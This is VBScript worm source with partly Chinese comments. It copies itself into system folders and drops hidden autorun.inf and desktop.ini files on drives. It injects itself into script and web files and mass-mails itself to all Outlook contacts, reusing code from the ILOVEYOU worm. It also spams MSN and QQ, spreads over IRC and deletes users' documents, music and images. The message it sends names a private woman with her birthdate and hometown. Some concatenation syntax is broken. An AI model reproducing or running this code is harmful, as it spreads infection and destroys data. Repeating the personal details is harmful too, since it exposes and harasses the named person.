rem email:kouguoxi@hotmail.com rem some crack statement i remment,make it can't to run on error resume next
dim title,text title="can you help me find a person?" text="her name is Liu Chun li."chr(13)chr(10) text=text"her birthday is 1981-01-23."chr(13)chr(10) text=text"her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."chr(13)chr(10) text=text"I was died because by her,"chr(13)chr(10) text=text"I am demanding my life of you."chr(13)chr(10)
Set fso = CreateObject("Scripting"".""FileSystem""Object") self=fso.opentextfile(wscript.scriptfullname,1).readall set WshShell = WScript.CreateObject("WScript"".""Shell") Startup = WshShell.SpecialFolders("Startup") Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set lcl=fso.GetFile(WScript.ScriptFullName) lcl.Copy(dirwin"\lcl.vbs") lcl.Copy(dirsystem"\lcl.vbs") fso.getfile(dirwin"\lcl.vbs").attributes=7 fso.getfile(dirsystem"\lcl.vbs").attributes=7
set sf0 = fso.GetSpecialFolder(0) b = sf0.drive"\lcl.txt" Set lcl = fso.CreateTextFile( b , True ) lcl.Write text fso.CopyFile b, Startup"\lcl.txt" lcl.Close
dim lcl Set lcl = fso.CreateTextFile(wscript.scriptfullname, True)
Function scode (N) dim x for x = 0 to 254 if n = chr(x) then scode = x exit function end if next end function
rem 請教：用readline等方法，整行加密，保持文本格式不不變；和解密辦法。 rem execute 我用不好請賜教。 dim cc,cipher,correy for l = 1 to len (self) cc = mid (self,l,1) if l>99 and instr(self,"Liu Chun li")>0 then cipher=chr (scode(cc)+9) rem 我開始用99，得到的全是ascll為0的數據 else cipher=chr(scode(cc)) end if correy=correycipher next
dim d For Each d in fso.Drives if d.drivetype>4 then fso.CopyFile b, d"\lcl.txt" scan(d) end if if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then fso.copyfile wscript.scriptfullname,d"\lcl.vbs" fso.getfile(wscript.scriptfullname).attributes=7 set inf=fso.createtextfile(d"\autorun.inf",true) fso.getfile(d"\autorun.inf").attributes=7 inf.writeline "[autorun]" inf.writeline "open=" inf.writeline "shell\open=打開(O)" inf.writeline "shell\open\Command=WScript.exe lclrun.vbs" inf.writeline "shell\open\Command=WScript.exe lcl.vbs" inf.writeline "shell\open\Default=1" inf.writeline "shell\explore=資源管理器(X)" inf.writeline "shell\explore\Command=WScript.exe lclrun.vbs" inf.writeline "shell\explore\Command=WScript.exe lcl.vbs" inf.close set ini=fso.createtextfile(d"\desktop.ini",true) fso.getfile(d"\desktop.ini").attributes=7 ini.writeline "[.ShellClassInfo]" ini.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}" ini.close set lclrun=fso.createtextfile(d"\lclrun.vbs",true) fso.getfile(d"\lclrun.vbs").attributes=7 lclrun.writeline "On Error GoTo 0" lclrun.writeline "set fso=CreateObject("chr(34)"Scripting.FileSys"chr(34)""chr(34)"temObject"chr(34)")" lclrun.writeline "ifor each d in fso.drives" lclrun.writeline "if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then" lclrun.writeline " fso.getfile(d.driveletter"""chr(34)":\lclrun.vbs"chr(34)").attributes = 7 " lclrun.writeline "set wshshell = wscript.createobject("chr(34)"WScript.Shell"chr(34)")" lclrun.writeline "wshshell.run "chr(34)"d.driveletter"""chr(34)":\lclrun.vbs"chr(34)chr(34) lclrun.writeline "wshshell.run "chr(34)"d.driveletter"""chr(34)":\lcl.vbs"chr(34)chr(34) lclrun.writeline "end if" lclrun.writeline "next" lclrun.close end if next
dim wshnetwork,netdrives,net1,net2 Set WSHNetwork = WScript.CreateObject("WScript.Network") Set netDrives = WSHNetwork.EnumNetworkDrives If netDrives.Count > 0 Then For i = 0 To netDrives.Count - 1 Step 2 net1 = netdrives(i) net2 = netDrives(i + 1) scan (net1) scan (net2) Next End If
dim outlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments Set outlookApp = CreateObject("Outlook.App""lication") If outlookApp= "Outlook" or outlookapp = "outlook express" Then Set mapiObj=outlookApp.GetNameSpace("MAPI") ''獲取MAPI的名字空間 Set addrList= mapiObj.AddressLists ''獲取地址表的個數 For Each addr In addrList If addr.AddressEntries.Count > 0 Then addrEntCount = addr.AddressEntries.Count ''獲取每個地址表的Email記錄數 For addrEntIndex= 1 To addrEntCount ''遍歷地址表的Email地址 Set item = outlookApp.CreateItem(0) ''獲取一個郵件對象實例 Set addrEnt = addr.AddressEntries(addrEntIndex) ''獲取具體Email地址 item.To = addrEnt.Address item.Subject = title item.Body = text Set attachMents=item.Attachments attachMents.Add fso.GetSpecialFolder(0) "\lcl.vbs" item.DeleteAfterSubmit = True ''信件提交后自動刪除 If item.To > "" Then item.Send wshshell.regwrite "HKCU\software\Mailtest\mailed", "1" End If Next End If Next End if
rem next from i love you. set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = title male.Body = text male.Attachments.Add(dirsystem"lcl.vbs") male.Send wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"malead,1,"REG_DWORD" end if x=x+1 next wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"a,a.AddressEntries.Count else wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing
Set objOutlook = CreateObject("Outlook.Application") If objOutlook = "Outlook" Then Set objNamespace = objOutlook.GetNameSpace("MAPI") Set colAddressLists = objNamespace.AddressLists Set onjNameSpace = Nothing For Each objItem In colAddressLists If objItem.AddressEntries.Count > 0 Then intCountOfAddresses = objItem.AddressEntries.Count For i = 1 To intCountOfAddresses Set objMailMsg = objOutlook.CreateItem(0) Set objDestAddress = objItem.AddressEntries(i) objMailMsg.To = objDestAddress.Address objMailMsg.Subject = title objMailMsg.Body = text execute "set objSend =objMailMsg." Chr(65) Chr(116) Chr(116) Chr(97) Chr(99) Chr(104) Chr(109) Chr(101) Chr(110) Chr(116) Chr(115) strAttach = strFilePathName objMailMsg.DeleteAfterSubmit = True objSend.Add strAttach If objMailMsg.To > "" Then objMailMsg.Send End If Next End If Next Set objOutlook = Nothing Set objItem = Nothing Set objMailMsg = Nothing Set objDestAddress = Nothing End If
strComputer = "." Set wbemServices = Getobject("winmgmts:\\" strComputer) Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process") For Each wbemObject In wbemObjectSet if wbemObject.Name="msn.exe" or wbemObject.Name="qq.exe" then WshShell.AppActivate wbemobject.name WshShell.SendKeys "can you help me find a person?" WshShell.SendKeys "^{enter}" ' or "^~" WScript.Sleep 9000 WshShell.SendKeys "her name is Liu Chun li" WshShell.SendKeys "^{enter}" WScript.Sleep 9000 WshShell.SendKeys "her birthday is 1981-02-17." WshShell.SendKeys "^{enter}" WScript.Sleep 9000 WshShell.SendKeys "her mother home is Yuzhen.Qixian.Kaifeng.Henan.China." WshShell.SendKeys "^{enter}" end if Next
sub scan(folder) On Error GoTo 0 set fd=fso.getfolder(folder) for each file in fd.files self1=fso.opentextfile(file,1).readall ext=fso.GetExtensionName(file) ext=lcase(ext) if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then if instr ( self1 ,"Liu Chun li" ) 0 then set lcl=fso.opentextfile(file.path,8,true) lcl.write chr(13)chr(10) lcl.write self lcl.write chr(13)chr(10) lcl.close end if end if if ext="htm" or ext="html" or ext="xhtml" or ext="shtml" or ext="dhtml" or ext="phtml" or ext="eml" then if instr ( self1 ,"Liu Chun li" ) 0 then set lcl=fso.opentextfile(file.path,8,true) lcl.write """SCRIPT LANGUAGE='VBScript'> " lcl.write chr(13)chr(10) lcl.write self lcl.write """/SCRIPT>" lcl.write chr(13)chr(10) lcl.close end if end if rem or ext="mspx" if ext="htd" or ext="asp" or ext="htt" or ext="aspx" or ext="cfm" or ext="tpl" or ext="dtd" or ext="hta" then if instr ( self1 ,"Liu Chun li" ) 0 then set lcl=fso.opentextfile(file.path,8,true) lcl.write """SCRIPT LANGUAGE='VBScript'> " lcl.write chr(13)chr(10) lcl.write self lcl.write """/SCRIPT>" lcl.write chr(13)chr(10) lcl.close end if end if if ext="ini" then if not instr ( self1 ,"Liu Chun li" ) > 0 then dim ini set ini=fso.opentextfile(file.path,8,true) ini.writeline chr(13)chr(10) ini.WriteLine "[script]" ini.WriteLine "n0=on 1:JOIN:#:{" ini.WriteLine "n1= /if ( $nick == $me ) { halt }" ini.WriteLine "n2= /.dcc send $nick "dirsystem"\lcl.vbs" rem ini.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick "dirsystem"\lcl.vbs"}" '利用命令/ddc send $nick "dirsystem"\lcl.vbs"給通道中的其他用戶傳送病毒文件 ini.WriteLine "n3=}" ini.WriteLine ";Liu Chun li" ini.close end if end if rem every 9 in the lunar calenda do it if ext="mp3" or ext="doc" or ext="docx" or ext="dwg" or ext="wma" or ext="swf" or ext="jpg" then file.delete true end if next for each subfd in fd.subfolders scan(subfd) next end sub
